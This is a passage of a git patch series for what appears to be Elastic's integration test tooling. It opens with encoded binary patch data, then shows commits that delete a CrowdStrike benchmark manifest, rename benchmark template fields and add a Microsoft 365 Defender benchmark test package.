z9<>3;Zc>W;p07cl?(w1-c_xo+)(ijaUcx$gI+a}!1w=w!eoaRZ8 zG{6yoo?MrT45ki#-wwhc;`3WuE;{%aq|O`_yNbG1*-==9@$!%)bya_VNkKT`0&~Xf zbqiL_3HG#{Wqt-|74*^NN9p&=hvWQ#~~>Zr0lkmUnY!6Yz=J5lJs zZa9ss4xXz0<(3E5%^;c%y-izIejB7Cwt4Fn=yc&l<((QQ*Ed15tD^G>-932Ow^+}0 zO%lJv4r5@qvynyW=&Yre>dj?>`~)e=p1~;hJ5(}sOvP^Jv2LeoFs&JgLn1TQNgM4J zQ#irH!rR6o8%v5)B^vLmSu%Zu=FV_W6Bzb68l|tz$KAzlqdnKbp?D^k;jDyav7Us0&*CAK_b1E7?2M3Fgg>%hgAJSKUBX%MZA~@hx4i3wI=Z5`AANm7S zYP@pdl^V;NyF+qi2Z5o!gO=(}jFS_`Y?K|{7F5NiAh~&ahiaYUb;fw?Z`#^g)pMJs zT7_JYL^WjBRYeL1Qw?ES`%WGdtZ7_Ga27tKWu6ip2lz`~TBtxIHqVS}&*?ErCvH{^ zE>IKsojAEM;U1|z!azgYNHK;F5mPu;fd-L#-<7`}Hmq4+yK6~S$*xCgdBe@{r2D7= zlakm2jRKS6`TSUWXg>Nq!aXW7ldIw_UFt3z9Nebt9j5ZJobHJga_ew=@vYM%##tmV zDhlp&Ca~EfBk~kO+R-k6rbIloGcg0}%vKN?_%hO2s9Z{56?^~vyW+W9$)u8p$FHC- z;cV^9IHeg`)}k#4Gu%FiR|2p$>SX+Z{A=@>8(F9aSQgTTm+E`Xsz1$ZNa6WmTE)y^ z&;TK`TodZyh)B57sCc4y>0Vxt{E)c~hmHP<@(HMZLwiHt?7-~}`TxC#s6{ahVWRLg z5n!KR{Zs{bN#QMnRgS8X8W)2yc0L|`ySDt!dJx3(nqVp&vqJL);tbqZBc5Lr1xA5) zR=z*=2hX=FuN+0qwT~paU1#4e!<@APl0=iv=!=l9Zu5j_ZY^MI4RvhOc5Fv+)n~Lo zXO%Y3g2}j>zul-hb;JgVddDUb`!V*mUq{bIZ3YIZ^vLk0Ygkk`f<6l9uEaW#`?zpW2V?PwiLwR`L_Hj^rJBvM-wqPw50Ecd2;Zm9}!} zK)+EvkYp0|sk1G?@~x~k8#CcKpGOG+fX*6oCmMH94@~y38-586yu^ z{X`zU!%&dBo`jjYoqu+R`Q_k4`STYByf@QV>#7#)5&X`_6&>vF+fG?P6#iz$c=PUfwMUa zvFM>zSgR+i*u$6Uz5H#RLw8nRCMuooH+kdDGX42&YvtIEM*L(fOzq|dS|c% zb_od&4RB`UFY~ipDoWl0wB%~fqld||*IY2NovIes>!Vir-W>7y06f$weT21iDjA5c}ESiE-R>(y=d>&y-VK( z9v0SP?z}(RU3BGVxsw1{2o_fz($XLv9bdY56pc2oD2J)kx2Sn7aj(4|a4X%G5(=A8 zYq)hU$%S|5j#k+@aib6d9>d{f*|VCuJvx{m=Juy{LQF!$TBfJcl(SdWC3B;lnq=h0 z{M`oItHa~{5^-g0AvL=e;y1bbB%#E9>9hC?3rJ16`|*5@>rS6A3H6^#L?xsGp3u3H z7Hhk)c}iJGd4I}&iCsBh=OzwA%K(w2m$FzCrC*E3pD}3EeZV2{=ReO&b>2d?wmVw=lvs-{Iipt zz4yDGwbt{j!kNunvNL*gcYv;21=vQK%i83*j|Dw+Z;ThL$db9RyAsSV^Q39{qou1F zRs{8cGSN2xH}Y2*949VLu@koTH%ZR|ub0M*U$%u_IuY}@uCWV_5l>8} zKfX`-(O1Mqg~VW@0$2hx5L>j+6!EK98O_83M3Zwl$Z=wiWYlgi>EcOa2}Np0na7++ z1o?CdynALsTm{a){`I7bxSM8Z+;8Fyu^%DlAd$hjr$QYpdo9y(rw!Bq2q}>e6>=ST zS_TYkD=UTS!fZZHKU|c(``!Fhv}F7f(WHe;7L~K4e!gu%HLU3IIGj&2gXrFe7MVne zk}I2%nUfLB8B*OKrF%jnsHVkE2zBQBH_yRF@y8^{9gjn{X zwxok~`nXKkRW!xcl|`I|U`7eMJhqib-Ccg8u3R6V1&3U;{b1AuF|zjhc|L6Gi>9`Q zvU``rxuXg?wA$B2d`2T9NhA?JyKkhj&CuM`@PhPCtMO`$CGpNsz>4d(_OtX$2XG*< z1Sv}D?*lo@JsX-tZYk;}l{=ffHrITk(wj#^tnrc>F{=)y)^#d>{{P(jaL`RX?v-D) z9q!clbBP2rGX+9$26@H1l!qy^pA^?btEcDVGYQ;D3az2H#gpbbolEmU?cA#As0^j% zM+t+cEozU4s-E?}6>=X@ku+L@&Nwc`pVawV4qcym$@At@Z?t|8R{W^`cXct>&o=p9 z$Vs5O3yi-m^nVlub7|tf_sz-diI~;phj{59Yiwt>O~qyskEa*a8^Cs;74Q!39b-hs zigL0+pJ{BAPpx7cTOZBcbH3mD>B;D@Lu;028o<6=gw#Ompe_NaHArpCakTpJm&2Rh z5!e#%M|rOK6 zEDBa<@}Bs!*;Yhz=sdVnL_Oec{I(!R*NkcEgbWw6q0;RMRt!vIHP-1_2V(afWSdp8Mwps zd4&D79(p--DdVLVUNo6 z@HAUZ^)mFMO8I*q0}Wt?q#WU0LXDwrmsdK=w5I!|U0LzLg$Hl#{)XHJ)em4=miIf zdXgp;7k?~{9CG@qEV+k?r0Ht-`9lL>eV$&dioLCmwdhGT>U6QF=w-MVGLozs2UdcB z?aG#eZ9_nd);Kq&`E_hvr_I+Vw&E|j;p*tmVa=5^DZpaR?G7K&<;}Ppv(QjTuv6Aj zkh~`6CfAQ+VY}`sOOvUX12FG1_iLF(&89}w8^C`m>&n6R-X|T9tJbcocb^a#3|@2k`tzNT<%{|L;y+s;b|L?Zn}GaZ zxQS{o|C=-hBBFlBz8Ig#ks612+ZRR#EW22u-*vqY|HX${P25b6}{DG!DG3%aav*b zGp35UHus~hbxFv5pwRfHR31eF4_~rng~)I;h;g(AD}tlNW?T9UPP825>gme}HivN` zeaFAEN69`)nsX*7WdsITFPEVH7HiwMMotnGozsduX$~kiN@5b0lP&>tlA^%hKoV{R zK;?1hF;|w5!+aU3^&a;PdY`-Jqi)^j&qVfFq4V0;TBt5h-U9Po2C9^REOK?lW>XZx zsR0&wue=~>`nJr2MD&eI*(bhrTl46_4^n2(0>BRvq}$w`WL{f^ymkj@cq`ix_HT9~ z1|j{jww=I&Hx=Ujz^t?3QVqthG8jV{fB#DQOQJqVl<{AHjNZ?T6yv$H;~-O*8yAt$ z2PfL$!Ax)CG9=H~wP}?53cIhsC(M^etU*DKng>nyz7I$^U9V;c>|c|Kd6T8xjUZ|p z0^PM6XtuU5p~YvAE%-{YmP3j5fOD-}H?Nw#J(o$%Hj%mT_X$JgslW2Q;I$Mj*kMC6 zk?(@U5z`Zw|8DB(X%^IT`A$a%biU9jwYfOkvwEY8r|ik{mYeA;BXXxJ)jS+_)Tw7y zhAilRN)~AJTRxq7XNqT#U0?b&+yT;fM)}n{2`hg2*V}F!XG-6EGCC~6d(r}b9!sZM zXLP|iQ10aREuP)=d8?eW4q#h;@;=3 z;7v9Kmc#QWvHFuu{_a*sSx_H8PR<+K&BgqhuvfLqPB~uwq2&Ww476$y`Ir44CCdi{ zHe)vrzeXb*Qm=Qul$~03P&xVo}|F`xKfgV#)b5zL6P*gBjt|gYP4%wM`py?hyA+`4>!|m3qpI?lO!9s~N>cDG7QJk9ooUzVI3$ zUp@}hg#-z3j#cXQx9mK7y;`xNu=a#5Q`UsxyE^9-)c4Qvun5!6;x3}KP>MiS<*y>) zaRbfcuMsA*s{2EtX(G}jNBh#&Nh#Sk7dxAJ3@6jN;{L|Se`h!@wlITl;0Q*z>LPlfNTj(TgYbo}Pc55? zp%YRN0@upDEN_7<#oAMiGpm(3&p!0T266_`LZSyMQCGp#GZ^$prRBX3jtk9aLKB-u z<~t5?lQbv}b9#-CzoJ zGaH+5c=RS^5$I`Olno5dj+a)jW5}$zrk?OOwP%SJEkjp4dWmKLP8&VFnbBLM-{z-l zez%vqpz7_A{oN%L&SVa zy*(j^aUK)Z=BasN&|3>9QvZz^K|lWzXHw9 zruHZ9cLK)y&)?>J-jLwIv*lcV#!)$$1WnBkCuGFIg+S?N!pbMYx#j7$oykmxA!$Y0 z=MU7+Ez9X@m?;WaOAFR&8NM5=a?^UZnrU>#^r%%&Kg1xh3drk{xJc=L+F=&N-dsQ~ zv>lO}cvWY)?eVfEZOvH4&}4`i{u1>jYbW2bFG|n~n6E>z=J%|R*^O(YMg@qzx*1h; zIO>)(!Xb)w&pOar);TS9768GG9I!@{qw9k1`)8Zl_2X{VS2=M&9HzX|lOsKydyw7J(8+4uBl$!rf;iyH?&I6Zc>Z`t+? zOl##Z*ETsS*E>;ROjWg=oQ{&e3bj~K84muPqW)S6m~q?}PeW%ea3wZnw3{kZ)nN^}I;NyOd%&FAX2D z_(?3!%aN*5umTn2RBBwfx2~-_5O^AXp|-`teNB&JWFpDwFvsGkP49}__&!1irBBU^ zqeE&(#I#(_Pt}}?2$Pc@%noBiRg|9McXi_aJQ!Ym!E0{K{&F|uueN=-Ap@1!SCWMH>zLNWo%lwEJo*JuN zG0n5P8&88|zSB)HYdF5M%cK-|Lb@k(MA7C0@QNnvBcWh^SXh)+WrF;uA{^j4{;;uC zBK%#wd>yIi!g<1m>*S%-#zED%o*HHF581MJ=?pTlyG&E9>{q^A$=PT>-wD$sYN|cs zvlncJ11D~_$n)=>-qNAnasuW_#~CDXM0b%Q5MH|oB${+i zyenhD7lW_A`KOpTeb|p*5{dR&5(FB?Ratx%r6*mnFYeQlRJTjw?1!YeY>cj43b=fh zuQ`xKY>Cci(p$tM!9dY^5)_2c!bFpg)b}isogMCjl#Th7n2@#mQ!HXU8^C4RN1JR% z0${%7Nzm2!-*$?g{IAddm1LP{F#it&OCtRaNSwfl@VVkW-d!lBBMrC3*%(zIvG_pu zd#A5YNpt+Rinv>ftjhMPLRH0pOc4WPw)tb#B)ZPQ5^xJj&Nv z4>wTnIBM_ESH_l+5iBSjYB}gyd^aGqh%D;qM&sAIi?!@q+IG?}vOI7rxH{x7HpNLS z?|1NehKA5NsO3*pS95O8U}ceRXLN#8a-%Qg&0Lxll+j6}~xMmg^J}-T}iK^97g3_nRryNV(1KivZHS1XMM#oge$CIAqv_I%WQ?MJ1 zjf3UXll&i&uuACin?=cVLa&`FCF7wAUg4v-1$$}wvY3b^Ab;FWYUiBm;pF@_#+3ev zlxAX^+Dmb|LeR&|b-eoXE#X|ox984V{h#f0?k4*HA8SFqTS=V2?7wn25 zxQ;mgQ+8prx9BkVJWkZ z(H>R{nvHmoZ&enQ7rHkG?E+R}6_)xr6X86X^>GvOeU?PfJa&2}|LdtOlA~MJXI zHg(6b@7lv9EjN(2%_I#qCZ#7;4k0&>zrY3QAtgW#9?E3Eiuc#f=y)Joq&qaVr>x-y$z{CIKsfx=Ix@(4{2yvcgiw7=f?KX|;sjOw^Wpl#q?(MUz3Z7{~Oo zq>OR2?C~T~KDHx79DaUHIShr*eSAu- zPrz*P_7<~7dmz}5h}+F=Gp4+{Ul}F_LvGx0ilpV3#vA%5mxGFR%i7N{NSh&^USZ*J3FCxVY?TveZC>t*)g4 z?8dDStz~z$t#4x>6;@=^8S~RX`ClL!%?g|nZqMgX!<)wuorH!ZGg60vVVxJ33s#R0|&h^%5jS(C%R+fF0AQmtzA3Rv` zI&HXQ4t5?Y3oG@V#x;y>j+7${Suy>+wGzfDHhOc;PQL0_YdCLzxso;S!?=j8IciY$ z55P*I$6~+Bg^CKI(UF0cp zjWylMeIN*CVSn2#@g`IL<$9TO^Jgv|yYGxlFy@}u8NA1H2BKe%rNPEBi8PQ=;|B5w zSV+;LP}7mrg1q17?}?+?f%7pbLMM!~icddEZQ{;W!}-X<0UyL%+bz_JJ@sV5P6DRo z^P!lXI7Qlp(wVr`P2Dh>d><_KodMR@_sv*y9S(j9 z8e{?&XvV>|_wqgRsyp zXwIkT!qh{7CCl9J@`G8ExL0CU=NG{cL(7+M7*@!3DY`g7&MRiC&Tb^dl27Jg+UN7c zsaeI}=Vpk}l-qzC^kZU*dMd5DR;Isy0UGcG`FlC*x5i(o!r1K@{YCtWOL8c6%nD!+ zFJGARJ&4e7*ed%*Fc^vU-b^~S5NiIp>Q;JDc(yn2d@C^Zw!R+*kD0y_HML!HD7`V$ zlEp_;PWuodqV&n1ws63}@N+$KX0#adTpguLwd<)T27FO3kJCi{&fvQ84}(B*O@^FF z4y{MP{X;a`iIyDg!3{|Zg(l-L5=}#5=*!dZo5#IgZ*qH!sJO;|oShY_7Ue%?~|i!yX`Eb;QI(&>4sz(u}aZhgZsO&c<900OcPZ2c;vuE zl`^tlpVT4mPd1m@vn{a5QuW_{^jYOrNCh%gl2zr)LZJ0i_%#qfzoV#L2i#AmqNUca znD4~y!y8%Ml^Cs>JNNE6oL~nX0}r}SBux63go`oBoK+yc`BXryK1imNcc-R7jPfid z>37J*T#f9Ccp{(F#_d+qZq*C7(i&7I_JS=qPMjqKW4VqeBqV@ha`jGP#Nv}0K(x=6 zixr&clyCx}KT;_pT>Db&W{Qa(hmP=VQ_wl80cSs6`nrJp(C;OHqil;>vciIkZuwFd znDeLgmzfG!rTs~{7T-|I!dTUH5w9eue@5&TXxv(ge zP-k4#lO*CeW5#RG-P-t&lBsBaeGXM#puQUfV1lW7_v!(d)u)Ee#;-NgKe&jQwZWq` zMmM%{(*ixhthCZGMl%P$DB&p@XZAA^Bu-Nk(*h)0XcqNe?|r(k>3V&Z3R^9?dj;<5 zGA<8RMUx#6n;EARsk#U8pRDgF6?3Ubd-V?w7Tv#X`9`TX%G{8~N}M-zr>2{_na&>z zyubu&_Tp#d{J>jA{^dg|g5S@JiZ+a1 zvFkyzj$`G$;h5%EoV{Z_#&z&@7rwUk-I{kuC4YBb4L`O!4Xf<&E&Ob-kemV9ckHbh z=<08j_CE}6nq$YgLoU-M_bO(}JiRO&=HSL(x3MM}1>+XhzRtfc?@!pxSN3lhh(;4x z4`QhqPdfZ6mkdeJlSCgX{;h+>baj+g30Lm-*ClN0t>+^7x}84w6?2@zF+sh<0pa() zGZDq{bi)!b-qWYKW#ZM^go@i^#@_UAe*>~~-7`qrEI#yb(#|R5(h6ZMF|Na|iVg+x z-urx2nhESpn73}sls>n+8rZ^o@oJX>a#gF#E*@}RR+d{jsEsUyICW4%!GJrn?^J=# z$cxXhWf8Zy<|~Zu=(S#o7oJbB3T}m5FJmFevJ6xxT-Xinl=bvkLPR*cFI?E1%3$fc zO}G)55)$e^HqzGK;g4$<7x5jO(SJZ&W`0M7^}EPY1^Wu-hYBTCY?ts?%+u(Zj*fGL z*G{G%HVq=1MYBy;dGOvgM|l{38x>Ua@{OrF%n@tP73znt`=SGSzi!8Akwu*{7=K|frk|DbqVN$mXT;8l0FaQRl0 zHpS#AxECwT_n?K4D-*wGiTAc;vS34!qGhdxhXHQtmJBDJ#4~Wp3ntfqO1@XhqOV?N za~5ptvChM`!7XgwZ%S)~rTAC^QSaOM@q^>BVwI!ZY-j&9cvD>>)%_j?T?fjQiu#QB z>3rp_>B=PMebI!Lv{kk1%kk+t+(wNjg~0J1V$idwtF55aBL1t$z%4-K_YONjM(!>y zbhy-*gZ?^q&pABOt`21cJ|cNhd{i`sG-5PkJ+ZB)Tm9G0HbjPk9rCehZsRFuJEKRr zq4-@Hfj`Vkj&_ClUouO3|H+bb);Z~mM^l)cniCA9(@jLV^o{-UDyDkA;@za4+jy6k z73PPxFYU~ZiALC`V18jf}fq!bPpb@I#YB1+# z=5J^BMnVXSS|5(Gv4XR{#Mf;a66YtCn*6=&IZ#9X0^tSjI{|i~A0?G1yrqHaIn-?a z?}Co!3d9MsNB$La-ZfZOT?3aN&ubIk-SK{1xkyE{x$H02?U2XUkK%#cW!y=+=oh-? z3hv4A`Oa2q=ys($e+{gvfJA0`9iM5={on>$x$Kk?+lsJa#<*oIIvC{#s8aHlP4J%$ z6i|xTJUsUN*R|#xScl_Z6=+kwiT!HYyQ~EnyX03dZ&bBHv1HJ$~bw?o1rSLeb+4ew^(ICDWgE3l-3^2~;On3IeH-jiUq!$IG9sZw-Y7>u!>V1l&du`FAzd;FO z_h_aYFN##Cs(97Jy!@XNbjFp(+hvpcqOdsodaE-l*~AlpEO*3)yEulOO=*}OlqC?d zjF=nhT?EZx-S<4l^$e^0UgX~*sxO)aw_)NZ+-`pz-Mx%gVCaft!voEko@OSjChT&P zpwS9SgMsVPzl~NcSuIB;2Z%=Z`Qd)lOubzukby4-8J{@( zF{qz!scxxmj{Qyk3n4E4ZziifXK*Ia*>x8!3c7@pCfzHN7{9%PDps`}pR?VaAABW? zP-=m6SgWF|smmNKFK^)San}jsI#exMwf*kp?~SmA%yboSQt*WJQ4&I z;OM2F(LLoa^oI<-ylurL7V%GZ@Gc)g@gle+O-{arxyOqSYODDD+KaWka#1}U=q;xk zxXp^X@sb$uRQ&%M;MTFU!rAMuND}N>;zPlv%S>xK^xr$Va9-N(7;KGI{Zsa`)bDuW JEW:@:. Ensure your username and password are in URL encoded format. - - name: proxy_headers - type: yaml - title: Proxy headers - multi: false - required: false - show_user: false - description: This specifies the headers to be sent to the proxy server. - - type: cel - title: Collect CrowdStrike logs via API - description: Collecting CrowdStrike logs via API. - vars: - - name: client_id - type: text - title: Client ID - description: Client ID for the CrowdStrike. - multi: false - required: true - show_user: true - - name: client_secret - type: password - title: Client Secret - description: Client Secret for the CrowdStrike. - multi: false - required: true - show_user: true - secret: true - - name: url - type: text - title: URL - description: Base URL of the CrowdStrike API. Defaults to https://api.crowdstrike.com - default: https://api.crowdstrike.com - required: true - show_user: true - - name: token_url - type: text - title: Token URL - description: Token URL of CrowdStrike. - default: https://api.crowdstrike.com/oauth2/token - required: true - show_user: false - - name: proxy_url - type: text - title: Proxy URL - multi: false - required: false - show_user: false - description: URL to proxy connections in the form of http[s]://:@:. Please ensure your username and password are in URL encoded format. - - name: proxy_headers - type: yaml - title: Proxy headers - multi: false - required: false - show_user: false - description: This specifies the headers to be sent to the proxy server. - - name: ssl - type: yaml - title: SSL Configuration - description: SSL configuration options. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/configuration-ssl.html#ssl-common-config) for details. - multi: false - required: false - show_user: false - default: | - #certificate_authorities: - # - | - # -----BEGIN CERTIFICATE----- - # MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF - # ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2 - # MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB - # BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n - # fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl - # 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t - # /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP - # PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41 - # CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O - # BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux - # 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D - # 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw - # 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA - # H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu - # 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0 - # yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk - # sxSmbIUfc2SGJGCJD4I= - # -----END CERTIFICATE----- -owner: - github: elastic/security-service-integrations - type: elastic diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml deleted file mode 100644 index ab145056ed..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml +++ /dev/null @@ -1,7 +0,0 @@ -errors: - exclude_checks: - - SVR00001 # Saved query, but no filter. - - SVR00002 - - SVR00004 # Saved search not allowed? - - SVR00005 # Kibana version for saved tags. - - JSE00001 # Array lists not recognised. From e7ce6114c06cad566371d39eaeeb0e1d6bcadde0 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 19 Mar 2026 17:00:43 +0530 Subject: [PATCH 07/19] Fix url in httpjson test package --- .../data_stream/httpjson/manifest.yml | 5 ----- .../system_benchmark_multi_deployer/manifest.yml | 7 +++++++ 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml index a2c2e275b6..c954ac372c 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml @@ -6,11 +6,6 @@ streams: description: Collect benchmark events via httpjson input. template_path: httpjson.yml.hbs vars: - - name: url - type: url - title: URL - required: true - show_user: true - name: interval type: text title: Interval diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml index 210c3d4091..c4b8ea4eb6 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml @@ -16,6 +16,13 @@ policy_templates: - type: httpjson title: Collect logs via HTTP JSON description: Collecting logs via httpjson input. + vars: + - name: url + type: url + title: URL + description: URL of the HTTP endpoint to collect events from. + required: true + show_user: true - type: filestream title: Collect logs via filestream description: Collecting logs via filestream input. From 333ef9aef41b52576f1f0baa597dd1619c93aadc Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 19 Mar 2026 17:18:33 +0530 Subject: [PATCH 08/19] Fix CI error --- .../_dev/benchmark/system/docker-benchmark/config.yml | 8 ++++---- .../_dev/benchmark/system/docker-benchmark/fields.yml | 8 ++++---- .../benchmark/system/docker-benchmark/template.ndjson | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml index fdf8edca15..a95908550b 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml @@ -1,16 +1,16 @@ fields: - - name: severity + - name: Severity enum: - low - medium - high - critical - - name: status + - name: Status enum: - open - closed - in_progress - - name: source_ip + - name: SourceIp cardinality: 1000 - - name: event_id + - name: EventId cardinality: 100000 diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml index 7bb08ba905..8838ba018c 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml @@ -1,8 +1,8 @@ -- name: event_id +- name: EventId type: keyword -- name: severity +- name: Severity type: keyword -- name: status +- name: Status type: keyword -- name: source_ip +- name: SourceIp type: ip diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson index b67f1e8658..7f2c14d93f 100644 --- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson @@ -1 +1 @@ -{"id":"{{.event_id}}","severity":"{{.severity}}","status":"{{.status}}","source_ip":"{{.source_ip}}","@timestamp":"2024-01-01T00:00:00Z"}, \ No newline at end of file +{"id":"{{.EventId}}","severity":"{{.Severity}}","status":"{{.Status}}","source_ip":"{{.SourceIp}}","@timestamp":"2024-01-01T00:00:00Z"}, \ No newline at end of file From 25b37d31bc6dedca9d2ea31bb2d1368dccb07bd8 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Tue, 24 Mar 2026 18:21:05 +0530 Subject: [PATCH 09/19] Add multi deployer test package --- .../_dev/benchmark/system/alert-benchmark.yml | 30 + .../system/alert-benchmark/config.yml | 136 + .../system/alert-benchmark/fields.yml | 128 + .../system/alert-benchmark/template.ndjson | 59 + .../deploy/docker/alert-http-mock-config.yml | 61 + .../system/deploy/docker/docker-compose.yml | 16 + .../_dev/benchmark/system/deploy/tf/env.yml | 0 .../system/deploy/tf/files/sample.log | 0 .../_dev/benchmark/system/deploy/tf/main.tf | 0 .../benchmark/system/deploy/tf/variables.tf | 0 .../_dev/benchmark/system/tf-benchmark.yml | 0 .../benchmark/system/tf-benchmark/config.yml | 0 .../benchmark/system/tf-benchmark/fields.yml | 0 .../system/tf-benchmark/template.log | 0 .../_dev/build/build.yml | 0 .../_dev/build/docs/README.md | 0 .../changelog.yml | 643 ++++ .../alert/agent/stream/httpjson.yml.hbs | 76 + .../elasticsearch/ingest_pipeline/default.yml | 2860 +++++++++++++++++ .../data_stream/alert}/fields/base-fields.yml | 4 +- .../data_stream/alert/fields/beats.yml | 6 + .../data_stream/alert/fields/fields.yml | 506 +++ .../data_stream/alert/manifest.yml | 89 + .../data_stream/alert/sample_event.json | 193 ++ .../logfile/agent/stream/filestream.yml.hbs | 0 .../elasticsearch/ingest_pipeline/default.yml | 6 +- .../logfile/fields/base-fields.yml | 4 +- .../data_stream/logfile/fields/fields.yml | 2 +- .../data_stream/logfile/manifest.yml | 2 +- .../docs/README.md | 0 .../manifest.yml | 265 ++ .../system/deploy/docker/docker-compose.yml | 16 - .../system/deploy/docker/files/config.yml | 20 - .../benchmark/system/docker-benchmark.yml | 23 - .../system/docker-benchmark/config.yml | 16 - .../system/docker-benchmark/fields.yml | 8 - .../system/docker-benchmark/template.ndjson | 1 - .../changelog.yml | 5 - .../httpjson/agent/stream/httpjson.yml.hbs | 12 - .../elasticsearch/ingest_pipeline/default.yml | 21 - .../data_stream/httpjson/fields/fields.yml | 15 - .../data_stream/httpjson/manifest.yml | 29 - .../manifest.yml | 31 - 43 files changed, 5077 insertions(+), 206 deletions(-) create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/env.yml (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/files/sample.log (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/main.tf (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/variables.tf (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark.yml (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark/config.yml (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark/fields.yml (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark/template.log (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/build/build.yml (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/build/docs/README.md (100%) create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml rename test/packages/benchmarks/{system_benchmark_multi_deployer/data_stream/httpjson => system_benchmark_m365_defender/data_stream/alert}/fields/base-fields.yml (89%) create mode 100644 